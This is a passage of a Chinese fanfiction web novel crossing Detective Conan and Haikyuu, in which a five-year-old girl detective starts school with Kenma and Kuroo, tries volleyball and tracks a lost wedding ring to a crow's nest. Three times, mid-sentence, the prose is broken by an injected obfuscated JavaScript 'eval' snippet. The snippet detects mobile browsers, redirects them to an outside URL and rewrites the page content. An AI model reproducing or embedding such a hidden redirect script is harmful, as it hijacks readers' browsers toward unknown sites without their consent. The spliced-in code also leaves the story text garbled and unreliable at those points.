可现在发现自己的孩子有可能发展成为这样的人格时,真田珠英无数个加班的夜晚都在反思,是不是因为自己,因为这个父母都做警察的家庭才让女儿变成这样? 莉亚是个好孩子,她从来没有伤害过任何生物。真田珠英不希望她走上错误的道路,因而时时刻刻严格要求她,不敢放过一点小问题。 “一色警官很担心你,我知道你没有把这件事放在心上,这或许对你来说只是一次有趣的冒险。但是,欺骗一个信任你的人,并不能证明你的能力,只会让爱你的人伤心。” “莉亚,我们一起去和一色警官道个歉好吗?”真田珠英看着女儿低下去的脑袋,心里一点都没有表面的慈祥与平和。 她想着,要是这孩子没有认识到自己的错误的话,那只能采取点别的措施了。她虽然不提倡打孩子,但是把这孩子拎去操场,让这小短腿跑个十圈还是忍心的。 教育孩子哪是一次就能成功的,蔻蒂仍旧想不明白为什么这件事会让妈妈这么生气,但还是闷闷地对妈妈点了点头,去和都都哥哥道歉。 “没关系啦,你没事就好。”被长官痛批一顿的一色都都丸笑着挠挠头,毫不介意自己被耍的事。 有栖川蔻蒂心里莫名感到难受,不是愧疚,而是感觉好像输了一样。 蔻蒂别扭地撇嘴,道歉完就拉着珠英女士去说自己更为关心的事。 “妈妈,我要上音驹小学!” 8.风平浪静的练球时间 “你才五岁,年龄不够上小学。” “我要上音驹小学。” “已经过了入学时间了。” “我要上音驹小学。” 真田珠英扶额,哪来的犟驴:“……你一天学都没上过,要不然妈妈先带你去幼儿园玩几天,等明年四月再去音驹上学?” “研磨和小黑都在音驹上学,我也要去。” “刚才和你一起的那两个孩子?”真田珠英拿出手机查了查音驹小学的信息。 小中高一贯式的老牌学校,位于练马区,小学的时候可以安排校车,初高中以后从家里坐电车过去不算远。 女儿终于有兴趣和同龄人一起玩耍,那她绝对双手双脚赞成。上学好啊,不光能多认识一些新伙伴,还不用她和春生天天把孩子带去警局看着。 “嗯!而且研磨和小黑和我们家在一条街上喔!”有栖川蔻蒂记忆力好,刚才从通风管道爬回来,蹲在银行没事做的那一会,她早就把两个小伙伴的家庭住址和电话背得滚瓜烂熟,惊喜地发现他们三人居然住在一块。 这一定就是电视剧上的叔叔阿姨在抱抱前说的缘分吧!原来,缘分不是去商场里买来的,也不是在神社里求来的,像是烟花一样,“砰”得一下就出现啦。 这倒是没想到,真田珠英抬眉。刚搬到新家还没多久,就遇上这桩无头尸案,作为警视厅新人想要站稳脚跟,就得尽快协助破获这起案子。结果就是一家人几乎在警视厅住下了,弄得新家一点人气都没,更别说认识一下左邻右舍。 现在莉亚可以和两个邻居家的小孩一起上下学,她和春生也能省不少事。 “你搞定入学考试,爸爸搞定入学流程?” 有栖川家讲究的就是一个自主,责任到人,每个人都有分工,从来不是大人一手包办。 “拉钩。”蔻蒂踮起脚尖把小手举高,圈住妈妈的手晃了晃。这是小黑刚刚教她的手势,这样就代表约定好不会变了。 “行,我什么时候骗过你了,拉钩。” 经过这一次共同的经历,三家的关系突飞猛进,珠英夫妻加上孤爪夫妻以及黑尾爸爸,家长们还背着孩子建了个群,天天在群里不是交流育儿心得,就是吐槽附近哪家的八卦,其中属孤爪妈妈消息最灵通。真田珠英人在警视厅,周围的邻居一个没见过,却已经知道对门邻居家里今晚饭桌上摆什么菜了。 有栖川蔻蒂的插班入学办得很顺利,一是多亏了孤爪家和黑尾家的帮助,新手爸爸有栖川春生才没有抓瞎,知道要准备些什么手续。二是上次的银行劫案后,经由平田喜子和横井优美口中,蔻蒂这位初出茅庐的小侦探的功劳被大肆宣扬。 媒体自然不会放过这么一个有趣又新奇的题材,一时间有栖川侦探风光无限,电视台都想要来采访,通通被珠英女士挡了回去。蔻蒂对此还有些小失望,不过就算不上电视,她有栖川蔻蒂的侦探生涯也将从五岁这一年开始书写,不服的话就去看报纸吧,战绩可查! 对了,横井优美现在再也不用偷偷把年糕养在通风管道了。银行行长感谢其间接避免银行破产的功劳,正式让年糕成为了银行的名誉行长,每天和横井优美一起上下班,上班期间还有吃不完的猫条奉上。 说远了,总之有栖川蔻蒂现在也算个小名人,试问哪个学校不愿意接收一个这样聪明的小孩。入学音驹的流程无比流畅,如果不是蔻蒂在纠结要不要直接跳级去和黑尾铁朗一起上二年级,早就正式成为音驹小学的一名小学生了。 “好厉害!莉亚你才五岁就已经可以上二年级啦!”黑尾放下排球,吧嗒吧嗒地用力拍着小手。 “那当然,我可是有栖川侦探!” 蔻蒂发现小黑是一个超级捧场王,总是会第一时间红着脸给她鼓掌,然后小声地说着各种夸夸,一句又一句,根本停不下来。 在黑尾铁朗的夸赞下,有栖川蔻蒂的自恋程度日益增长。孤爪研磨对待这一幕已经习以为常,默默地后撤一步,不想和这两个吵闹的笨蛋“同流合污”。 还没踏出一步,女孩的视线就锁定了他。 “研磨研磨,你觉得我是上一年级还是二年级呢?” “都行,随便。”怎样都好,能不能别顶着大太阳在外面说啊,他要融化了…… 啊,好像吃冰棍,看在他今天陪小黑打了一个小时球的份上,就算吃嘎哩嘎哩君冰棍也会中奖的吧。 “不可以啦研磨!小黑的建议很重要,你的建议也很重要。” 孤爪研磨:…… 热气和热情几乎将研磨笼罩,热得他喘不过气,这种事情一个小孩子的想法有什么要紧的,最后还是要听大人的话吧。 “妈妈说人生每一个阶段的体验都很重要,建议我上一年级,爸爸觉得如果我能直接考上六年级他也愿意让我去。小黑告诉我一年级的第二学期有很好玩的活动,所以研磨你的建议可是对我很有帮助呀……” 研磨低下头,用脚尖“残害”着地上的小草,想了一会才说话,这期间有栖川蔻蒂就这么一直期待地看着他。 “一年级,如果你……”和我在一个班的话,我们可以坐在一起,研磨是想这么说的。 可才开了一个头,就被蔻蒂歪曲他的意思:“好哦,研磨想要我陪早说嘛!” 不,他没有! “研磨喜欢莉亚,莉亚也超级超级喜欢研磨!” ……他也没说过那话! 然而两位好友还在不顾他死活地亲亲抱抱,好像全程感到羞耻和丢人的只有他一个。 “我也喜欢莉亚!” “莉亚也超级超级超级喜欢小黑哦!” “莉亚超级喜欢研磨。”端水大师有栖川蔻蒂割舍不下任何一个好朋友,多对小黑多说一个“超级”就要给研磨补上。 孤爪研磨:大可不必! 做好了决定的有栖川蔻蒂就从草地上捡起排球,开始给热好身的黑尾铁朗抛球。然后在研磨一声声“有你给小黑抛球就行”的推拒声中,撅起屁股抱住他的腰,把他拽回来,好朋友当然要整整齐齐的! 就像有栖川蔻蒂最近开始喜欢当侦探一样,黑尾铁朗也在最近开始喜欢上了排球,整个假期都拉着两个好朋友在河堤的草地上打滚。比起要对研磨使用“夸夸气波”才能乖乖就范(研磨:你又造谣!),蔻蒂对排球的热情还挺高。 “不想踢足球的侦探不是一个好飞行员。”名侦探工藤新一这样说道。 有栖川蔻蒂眨巴着大眼睛不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974095|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,默默地看向旁边另外两位侦探哥哥。 “良心未泯”的服部平次不干欺负小女孩的事,贴心地给蔻蒂解释:“侦探不止需要好的头脑,没有一个健康强壮的身体怎么去跋山涉水地抓坏人。足球有什么好的,你想跟我学剑道吗?” 爬一圈通风管都就累得气喘吁吁的蔻蒂赞同地点头,但是她不想跟服部哥哥学剑道,他在关西呢,太远啦,那里没有研磨和小黑。 白马探点了个踩:“她还没有木剑高,你在异想天开?” “她又不是一辈子都长不高了,你在找茬吗?还是想让她跟着你去打那破台球?”尽管距离两人第一次见面已经过去很多年了,中间也共同作战过不少次,但服部平次还是习惯于和白马探呛声。 就算他七八十岁,也看不惯那个小少爷! “有何不可?蔻蒂,台球是一项需要精密计算和控制的运动,非常适合一位淑女,要去我家玩吗?我还有一只老鹰叫华生。” “别听他的,老鹰会把小孩叼走的。” “呵,华生可比某些人还要听话。” “你说什么?” 两个鼎鼎有名的大侦探说着就撕吧起来,工藤新一还在旁边拱火。蔻蒂迷茫极了,什么剑道、台球的,她一个都不想玩,这几个大哥哥到底是来干嘛的? 天才侦探骤然出世,没有案子闲得长毛的服部就叫上白马探一起来找工藤玩,顺便看看这传说中的小侦探到底是不是真聪明。真厉害的话就好好培养培养,给自己培养出一个对手出来,以后玩侦探游戏还能多出一个新面孔。 没有困难就创造困难,迎难而上,这才是究极的侦探精神! 但是小蔻蒂一个都不买账,在她看来还不如去跟香香的小兰姐姐玩。 毛利兰把晕乎乎的蔻蒂抱走,温柔地说:“不用搭理他们,你想做什么都可以,不要有负担,跟新一对待足球一样,只当成一种娱乐就行了。” “咳,小兰说得对。” 脱离战场的工藤新一插入话题,想起真田警官拜托他的事,伸手将蔻蒂的脑袋揉得七荤八素:“知道我为什么喜欢做侦探吗?” “因为你爸是侦探。”有栖川蔻蒂懒得乖乖配合他。 工藤新一哽住:“……这只是原因之一。” “最重要的是,做侦探能认识这个世界,尝试这个世界,体会这个世界。” 说这话时新一哥哥好像变成了凹凸曼,眼睛在发光。蔻蒂不理解,但尊重,所以她说…… “哦,我听不懂。” 工藤新一扭头问毛利兰:“我小时候比她聪明多了对吧。” 心地善良的毛利兰委婉地笑笑,没有在小孩子面前拆他的台。 “总之,什么都不敢去尝试,像蜗牛一样锁在壳里是当不好侦探的!” 有栖川蔻蒂似懂非懂地点点头:“那,新一哥哥。” “嗯?” “用足球踢晕罪犯的脑袋这一招好用吗?” “……好用。” 懂了,所以她也要勤练排球,掌握用排球干掉犯人这一招必杀技! “来吧,小黑,研磨,我们来试试扣球。” 孤爪研磨/黑尾铁朗:感觉后脑勺凉凉的。 9.风平浪静的扣球时间 十扣九掉,天天拿头撞球的三个小孩,在黑尾铁朗的提议下,决定一起去见识见识其他同龄的小孩是怎样打排球的。 “猫又教练超厉害的!” “每天都有好多人在那里练球。” “听说下个星期还有排球赛,可惜我不能参加。” 黑尾叽叽喳喳说了好多关于他那个“超级有趣的宝藏地点”的事情,以前研磨会选择性回他几句,倒不是嫌他烦,就是觉得说什么都合不上对方的热情……好吧,研磨还是觉得有一点点吵,就一点点。 现在加上一个有栖川蔻蒂,研磨心里的一点点吵,就变成了真的很吵啊! 为什么小黑的每一句话你都要回答?类似心理活动的废话就不要搭理了啊! “猫又教练是谁?妖怪也会打排球吗?他是不是有两条尾巴?” “大家在一起怎么练球呀?像我们三个那样吗?” “小黑你为什么不去参加比赛?你超厉害!他们不找你是他们没品位!” 研磨生无可恋地低下头,够了,他说够了。 小黑才说三句,莉亚要说九句,要是小黑再把她的问题一个一个回答的话,那又会成倍增加。好像同时开了两台电视在放两部动画片一样,而且动画片里的人还时不时突然冒出来问他,刚才他们都说了什么。 他真的做不到哇! 快点走,再走快一点,赶紧到地方开始打排球他们俩就没这么多话了。 娃娃头的小男孩越走越快,一个人闷头冲在前面。 黑尾铁朗:“研磨怎么了?” 有栖川蔻蒂摸着双下巴想了想,恍然大悟地锤了下手心:“研磨要跟我们比赛谁先跑到终点吧!” “诶?是这样吗?” “我可是名侦探啦,听我的!” “哦哦。”黑尾铁朗刚产生的一点怀疑就被打消了。 “快跑,研磨好狡猾居然抢跑。” “没关系,我拉着你。”比蔻蒂大两岁的黑尾比她高半个头,攥着女孩肉乎乎的手赶上前面的研磨。 感到两人跟上来的研磨脑子一热,跑得更快了。蔻蒂和黑尾追赶上去,不知道为什么又变成了他们俩一起拉着研磨往前跑。 “呼——呼——呼——”研磨喘着粗气,感觉心口在灼烧。 他要说一万次,他讨厌运动!!! “呼—呼—呼—” “哈哈哈,研磨你看,那只狗在学你呢。”蔻蒂指着大黄狗笑得乐不可支。 孤爪研磨无语地和拴在体育馆门口的柴犬对上视线,那只狗正把半拉舌头放在嘴外面大喘气。柴犬意识到自己嘲笑人类的行为被发现,还贱贱地咧开嘴朝他笑了一下。 …… 他要说一万次,他讨厌狗!!! 趁着研磨暴走前,蔻蒂又是亲亲又是道歉地把人哄进体育馆。研磨头顶冒烟,扭过头去不想看她。都说了不可以随便对男孩子亲亲抱抱,她就是不听,总会说着什么“才没有随便,研磨和小黑都是我最好的朋友”。 刚想跟她再强调一遍,人已经拉着黑尾跑走了。 就像掉进爱丽丝的兔子洞一样,打开体育馆的大门,仿佛进入了另一个世界。 人对于听觉信息的处理远比视觉信息要快得多,劈里啪啦排球落地的声音形成了画作的底色,小孩子们起跳,落下,再跳起来的画面好像她在纪录片里看到过的成群的飞鱼。 哇,好厉害,原来人类也不借助任何外力可以短暂地飞起来。 一个场馆内被分成了多个区域进行训练,眼睛完全不知道要先看哪里。每个人都在认真的训练,在场边站了半天,还是一个鬓角很旺盛的教练叔叔看到了三个人,问他们要不要一起玩玩。 这是针对幼儿的暑假训练班,旨在宣传排球,让更多人喜爱、了解排球,所以像他们这样来参观的孩子有很多。 “他就是猫又教练吗?我没有看到尾巴……”蔻蒂趴在黑尾耳边问道。 黑尾也不知道,他只是在宣传单上看到这里,纸上说猫又教练以前统领着东京的排球强校,才想拉着小伙伴一起来看看。 长鬓角的叔叔听到了两人的悄悄话,笑着告诉他们猫又教练等一会才会来,可以先在这玩一会。 闲着也是闲着,三个人排队接了几轮球,就跑去看旁边的扣球场地了,这才是他们今天的主要目的,主要是蔻蒂和黑尾的目的。 因为扣球看起来真的太帅啦! “网好高啊,我的身高还不够。”黑尾沮丧地撅嘴。 “你不够的话我就更不够了。”蔻蒂伸伸自己的小短腿跟黑尾比划了一下。 一个笑眯眯的大叔突然冒出来说道:“那把网子放低一点就好啦。” 蔻蒂笃定地看着他:“你就是猫又教练。” 这一次不是靠推理,而是因为猫又教练长得太像猫啦。和总在警视厅附近转悠的那只老猫一样整天趴在大门口晒太阳,悠闲地甩尾巴。有栖川蔻蒂很兴奋,比扣球还要兴奋,猫又教练一定是妖怪猫又,躲在人类世界利用排球教练的身份,偷偷把小孩子抓走吃掉! 太狡猾了,有栖川侦探今天就要揭穿猫又的真面目。新一哥哥说过,做侦探就要大胆假设,小心求证。 “……小朋友,你在干什么???”这时候的猫又育史还没成为白发苍苍,满肚子坏水的老头子,因而惊恐地捂住自己的屁股。 有栖川蔻蒂遗憾地收回作怪的手:“你的尾巴哪去了?用妖法收起来了吗?” 猫又育史梦回当年上学时天天被同学调侃姓氏的日子:“我是人。” “哦。” 哦什么哦,你这小姑娘干嘛一副不信的表情啊!乌养一系那老小子也不是鸦天狗! 算了,他跟一个小孩子计较什么,猫又育史捡起刚才的话,老神在在地说:“把网子放低一点就可以扣球了,刚接触新事物时最重要的是做到的喜悦,兴趣是最好的老师。” 排球网被降低,满屋子的小萝卜头都凑过来想要试一试扣球的滋味。研磨试了两次果断认识到自己跳跃能力的不足,今天他就是跳死在这也扣不过去,于是果断放弃。 蔻蒂和黑尾不愿意放弃,一轮又一轮,把别的孩子都跳累了还在坚守在场上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14979015|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蔻蒂挥舞拳头给自己加油:“我感觉下一次就能扣到了!” 黑尾跟兔子似的一蹦三尺高:“我也是我也是!” 下一轮,蔻蒂因为力气小,球打了一下网才擦过去,黑尾则是结结实实完成了一个标准的扣球。 “小黑小黑,我就知道你最厉害了!” “莉亚也超厉害的,我们用的是一样的网,你比我矮还能扣球。对吧,研磨!” “啊,嗯,你们都很厉害。” “不一样不一样,我有在偷懒哦~”有栖川蔻蒂对两人挤眉弄眼地说。 殊不知头顶上笼罩下一片阴影,可怖的猫又妖怪准备来吃小孩了。 “哦?说说看,你怎么偷懒了?” 蔻蒂绕着猫又育史转了一圈仍旧没有发现他的两条尾巴,失望地哼哼,不想搭理他。 猫又教练低估了现在小孩的个性,不知道该怎么哄她。黑尾还是挺喜欢他的,主动帮猫又育史询问蔻蒂。 “很简单哒,小黑每一次都是瞄准最高点起跳的,而我是每一次都是等球落下后才开始跳,用手把球抬过去,稍微站远一点就可以做到了。” 猫又育史重新打量起这个古怪的小女孩。 她刚才所说的技巧并不是有多精妙,许多个子不高、弹跳能力欠缺的排球手都明白。可难就难在一个没有排球基础,完全没接受过训练的小女孩居然能自主想到这一点。 他或许能见证一个排球天才的诞生,这对一个几乎将整个人生放在排球事业上的男人是一件无法比拟的大事。 猫又育史感到喉咙干涩:“你叫什么名字?” 天才是真天才,但不是排球天才。 蔻蒂绷住小脸,警惕地看向猫又育史:“我妈妈是警察,她不让我跟陌生人说话。” “我们不是陌生人了,你看,我刚才是不是还教你打排球来着?”猫又育史循循善诱。 可惜蔻蒂不买账:“你笑得好奇怪哦,到底想做什么?不说的话我报警了。” “等等等等,我就是想问问你,有没有兴趣学排球,我觉得你有望成为一个世界级的排球手。” 蔻蒂一点都没考虑,果断拒绝:“不要。” “……不用这么快答复我,小朋友你可以回家和家长商量一下。” “不要就是不要,猫又你好啰嗦。当排球手有什么好的,侦探才是这个世界上最好的职业!” 啰嗦的猫又育史哽住,遗憾地叹气。成就一个优秀的运动员,其一是天赋,其二是努力,其三是热爱,三者缺一不可。如果没有热爱,即便天赋异禀也难以走远,运动场上最不缺的就是先天条件不足者逆风翻盘的故事。 可惜了。这孩子的心不在排球上。 猫又教练看穿了蔻蒂的真心,放弃继续游说,然而其他人不这么想。 旁边的小男孩气呼呼地冲上来对着蔻蒂大喊:“排球手才是世界上最棒的职业!侦探算个屁!” 有栖川蔻蒂:? 她本来不想搭理这个莫名其妙的小孩,但是没有人可以看不起侦探。她今天势必要争个高下! 10.体育馆婚戒失窃案 “侦探是世界上最好的职业!侦探无所不能!” “排球手才是最好的职业,我妈妈说,XX选手年薪千万!” “侦探也很有钱,运动员花期短,赚的钱全用来治疗了。但是工藤新一会开飞机,他以后混不下去了还可以给人做司机赚钱!” 灰头发小男孩被有栖川蔻蒂有理有据,条理清晰的辩驳堵得不知道怎么说,呜嗷大叫:“我不管我不管,你说谎,排球手就是最好职业!” 蔻蒂像一只预备啄人的大白鹅,伸长了脖子,凶悍地瞪着小男孩:“我没有说谎!是你太笨了,你都不知道自己今天回家屁股会被打开花!” “嘎?”刚才还大喊大叫的小男孩露出了清澈的眼神,“你说啥?” “你是不是从家里偷偷拿东西出来了。” “你,你怎么知道?!” “我就说你是笨蛋!你把你爸的结婚戒指弄丢了,看他不把你的屁股打烂!” 小男孩的脸色“唰”地一下就变得跟他头发一样白了,惊恐地捂住自己鲜嫩的还没有被打过几回的屁股蛋,眼泪在他眼眶里打转。 “哇啊啊啊啊——我怎么知道那个破环是老爸的结婚戒指啊——”他爸爸已经不在了,不会给他屁股打烂。可妈妈要是知道他把爸爸的遗物弄丢了,估计得把他逐出家门。 两三句话把人惹哭的蔻蒂得意洋洋地回到研磨和小黑身边,给他们一个“我赢了”的眼神。 “看吧,我都说了,侦探才是这个世界上最好的职业。” 黑尾铁朗和孤爪研磨把蔻蒂挡在身后,替她承受着其他人或惊讶或害怕的眼神。 猫又育史一边感叹着自己眼光独到,女孩的这份观察力和智慧顶尖到几乎可以跨越身体素质的差距。一边可惜她志不在此,只能笑呵呵地打圆场,问她能不能帮一下那个可怜的小朋友,他只是太喜欢打排球了。 虽然年纪还小,但有栖川蔻蒂吃软不吃硬的性格就已经颇具端倪,被猫又教练好好哄了一下,勉强和那个小男孩说和。 “好吧,只要你大喊三声‘有栖川侦探是最厉害的!’我就告诉你。” 灰头发的小男孩自尊心极高,可想了想妈妈和哥哥的混合双打又看了看眼前小女孩得意洋洋的小脸蛋。魔鬼和披着天使皮的魔鬼,他还是选后者吧,至少看着可爱多了。 “有栖川侦探是最厉害的!” “有栖川侦探是最厉害的!” “有栖川侦探是最厉害的!” 越喊脸蛋越红的小男孩紧紧地闭着眼,好像这样就能躲避这种羞耻感了。 研磨和黑尾同样不忍直视,低下头,全当自己只有身体在这站着,魂魄已经飘到体育馆外面了。 莉亚以后不会逼着他们俩喊这句话吧?! “跟我走。” 蔻蒂小手一挥,排球场里大半的人都跟在后面想要去看个热闹了。 “你叫什么?我叫灰崎祥吾,你怎么知道我弄丢了东西?” “我刚才说过了,有栖川,你叫我名侦探吧。”蔻蒂哄着第一次见面的陌生小孩吹捧自己,“你爸爸的戒指是不是一个银色带有木纹的圆环,上面镶嵌着三颗小钻,里面写了字母G&J?” “你怎么知道!”灰崎祥吾张大嘴巴。 “如果没猜错这是你爸爸妈妈的名字的罗马音首字母,这款戒指是94年本土品牌新品,同款女戒应该是一颗方形马眼切割钻为主钻,旁边另有两个碎钻作为点缀。三钻婚戒是近几年来的流行款式,而这一款婚戒不光融合了一种流行元素……” 说到这里,蔻蒂卖了个关子,推理怎么能是一个人的表演,当然要旁边人一起附和、捧场。 五六岁的小男孩正是慕强的年纪,发现蔻蒂就像神仙一样什么都知道,灰崎祥吾完全忘记了刚才的不愉快,兴奋地凑在蔻蒂旁边:“是什么是什么?” “鸽子,戒身融入翅膀的元素,雕刻了一圈羽纹。94年广岛举办亚运会,吉祥物正好是鸽子,结合时间来看,你爸爸妈妈肯定就是在那段时间定情或者结婚的。” “好,好厉害!你懂的好多啊!” “侦探原来真的什么都知道!” 孩子们叽叽喳喳围着蔻蒂转悠,一句接着一句地吹捧她,甚至激动地将研磨和黑尾两人挤到了旁边。 蔻蒂叉腰,多亏了前几天去新一哥哥那玩,他家堆了好多好多婚戒品牌的杂志,她闲着没事做就拿词典对照着一个一个翻过去,当作识字教材来看,没想到今天居然派上了用场。 “可是,你怎么知道戒指是我带来的?”灰崎祥吾想不明白,体育馆有那么多小孩子,就算她看到了遗失的戒指也不能确定是谁啊,毕竟那会他可是在…… “确定了戒指的款式和年份,加上怀孕的时间,那就只要找在95年以后七月以后出生的小孩子就好啦。” 来打排球的孩子多,可大多都在八九岁的年纪,一眼看过去,五六岁的孩子没几个,蔻蒂偷偷去翻了一下教练放在旁边椅子上的名录,上面记录着姓名和年龄。除了蔻蒂和研磨,也就剩下五个人。 “体育馆有两个门,在车站前就立了今日南门维修的牌子,所以想要进来必须绕道西门。而我最后一次看到那枚戒指就是在南门,你知道南门有什么吗?” 此时灰崎祥吾还没有成长为以后那个嚣张又霸道的高中生,此时眼神看上去傻兮兮的:“有……门?” “……有波斯菊啊笨蛋!” 小灰崎不服气地争辩了一句自己不笨,就被蔻蒂回了一个嫌弃的眼神,她咧开嘴,露出几颗小牙,坏坏地笑了一下:“波斯菊天热的时候上面会有红蜘蛛,你屁股上有一只红蜘蛛的尸体哦。” “啊!!!” 灰崎祥吾一蹦三尺高,差点没当场就把裤子脱下来看。他不害怕虫子,但不代表能忍受虫子爬到身上。 被这么一吓唬,原本聚在有栖川蔻蒂身边的小孩子又一下子散开了。研磨和黑尾被害怕的小孩们推到蔻蒂身边,女孩一点也不意外,顺牵起他们的手,让两人怀疑,她就是故意把其他人都吓唬走的。 “喏,你用你爸爸的钻戒在窗户玻璃上画了一个排球以后,戒指就滚到了那里。”这是蔻蒂出来上厕所的时候看到的。 灰崎祥吾:……你直接说在哪不就好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990296|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么要戳穿他干的坏事啊。 在几个体育馆工作人员的注视下,灰崎灰溜溜地扎进灌木丛里找戒指。找了半天,大家一起低着头在附近的地上寻找也没看见。 灰崎祥吾灰头土脸地抬头:“没有哇?” “不可能,我看看!” 蔻蒂说着也一头扎进去,结果真的没找到。 “喂喂,你就是骗我的,根本就没有……唔唔唔你谎唔!”灰崎被手动静音。 蔻蒂嫌他吵,一把捏住了他的嘴巴:“你打扰我思考了。” 灰崎祥吾不能说话,只好盯着她看,研磨不喜欢灰崎直勾勾的眼神,他感觉很没有礼貌,拉上黑尾挡在两人中间。 有栖川蔻蒂只思考了一会,就解开了这个显而易见的谜题。 “我知道了!这里,这里,还有那里,都有鸟类的粪便,你的戒指被乌鸦叼走啦!”蔻蒂从枝杈间拿出一根黑色的羽毛,羽毛在阳光下似有五彩斑斓的光流淌在上面。 知道了“罪魁祸首”的真容,一行人又纷纷把头仰起,盯着每个树杈,寻找哪一个是乌鸦的窝,又或许它的窝根本不在附近,乌鸦每分钟能飞七八百米,谁知道老巢在哪。 许是佩刀婆婆不舍得让灰崎祥吾屁股开花,体育馆真的是乌鸦的地盘。见一群人在树下看着它,“戒指大盗”居然一点也不害怕。 “嘎嘎嘎——”它趾高气昂地大笑三声,似乎在嘲笑着人类的愚蠢。 “可恶的乌鸦,看我不把你抓下来!” 灰崎祥吾三下两下爬上树去,想大展身手一番,都没摸上乌鸦的毛,就被乌鸦一下一下用喙叨下了树。他跌坐在地上,脑袋疼,屁股疼,心也疼。他看到了,爸爸的戒指居然真的在乌鸦的巢里。 小孩子们叽叽喳喳地给灰崎出主意,什么用石头砸呀,防火烧树呀,打电话给警察叔叔呀。不用感到愤怒,这个年纪的孩子天性如此,并不知道有些行为的恶,只知道这样能帮到天天和自己在一起打排球的好伙伴。 猫又育史摇摇头,该他出场了。 “孩子们,知道乌鸦的天敌的天敌是什么吗?” 大多数小朋友拉长了嗓音:“不——知——道——” 有栖川蔻蒂:“主要是鹰,以及其余一些大型猛禽。” 猫又育史哽住,这里是少年热血漫片场,不是科教频道!!! 黑尾看到猫又教练的表情,担忧地拉着好友说小话:“研磨,猫又教练是不是不太开心?” “嗯。” “可是莉亚也没有说错吧,他要是和莉亚吵起来怎么办?” 研磨淡定地安抚黑尾:“不会。猫又教练是大人,他不好意思和小孩子计较。” 像猫一样听力不错的猫又育史:……我也没想计较! 好像被两个小孩用话架起来了,不确定,再看看。 短暂地尴尬了一下,猫又育史抱起让人去寻找的养在附近的老猫。 “猫与乌鸦是垃圾场的常客,猫咪懒散,但对盯上的猎物绝对有足够的耐心等待时机一击即中。” “乌鸦盘旋在天空够久的了,去把它扯下来吧。” 11.风平浪静的打孩子时间 阿龙是一只老猫,一只油光水亮的老猫,它被养得极好,身上的毛跟绸缎一样闪着光泽,牙齿和眼下被擦得干干净净。 “加油啊咪咪,快给那只讨厌的乌鸦一点颜色看看。” 阿龙看了眼蹲在自己面前的人类幼崽,张开嘴巴打了个哈欠,懒洋洋地闭上眼睛趴在地上开始打盹。谁叫咪咪那种软不拉几的名字,它叫阿龙。 “咪咪怎么不动呀,他是听不懂,还是不会抓鸟?它好笨哦……” 阿龙重重地哼了一声,用爪子刨了刨地。这小崽子真是瞎了眼,比它这只瞎了一只眼的老猫还瞎。想当年它阿龙也是打遍整条街无敌手的猫头头,连那些个野狗都不敢来招惹他,怎么可能连一只蠢乌鸦都抓不住?他那是顾及着那个叽叽喳喳的老太婆的心脏,不想抓。 一群人哄了老猫半天,它都不动一下,猫又育史尴尬极了,这只猫不行,要不然换他来? “咪咪呀——咪咪——”一个老太太拄着拐精神抖擞地往这走,后面还跟了一个青年。青年一脸焦急地追在后面喊奶奶,想上前搀扶她,被老太太一把挥开。 “不要你管,谁叫你把你姑姑借出去抓鸟的,我的咪咪公主啊,整天好吃好喝地喂着,它哪里会干那个?!” 猫侄子青年满脑门黑线,他奶奶的心是不是偏到高天原了?咪咪哪里柔弱,天天压着他的球球打,给球球打得毛都秃了一块。他的球球啊,那个是他在猫舍预定登陆两年的布偶猫。 “……奶,奶奶!你看那个是不是咪咪?” 老太太赶过去单手抄起自己的宝贝咪咪亲了亲,老猫被猛地弄醒,警惕地伸出爪子,看到熟悉的面孔后,爪子又缩回肉垫里面不同不用地拍着老太太的脸。 “嘎嘎嘎——”乌鸦看底下多了几个人,不知道又为什么笑了起来,只有阿龙知道,那傻鸟这是在嘲笑它无能,还要两脚兽来给它找场子。 阿龙夹起嗓子咪了两声,弱弱地看了一眼乌鸦,然后害怕地把脑袋埋进老太太的胳膊里,这给老天天看得心疼坏了。 “是不是它欺负你啊,咪咪。”说着,老太太就抄起拐杖去打鸟。 “嘎——啊——” 一时间羽毛和树叶混杂着落下,鸟叫和猫侄子的惊呼一起奏鸣。 “奶奶,你干什么啊?!快放下,让我来!” 拐杖一下打到了乌鸦,两下打在了树枝上,七下打到了猫侄子的身上。一番生龙活虎的运动后,乌鸦气呼呼地飞走,猫侄子也龇牙咧嘴地捂住腿。 唯有老猫阿龙满意地喵了一声,这才是它挑选的铲屎官,跟它自己一样能打。 乌鸦飞走,灰崎祥吾立刻爬上去掏鸟窝找戒指。等一会就到回家的时间了,趁妈妈下班前把东西放回去,那他就不会屁股开花。 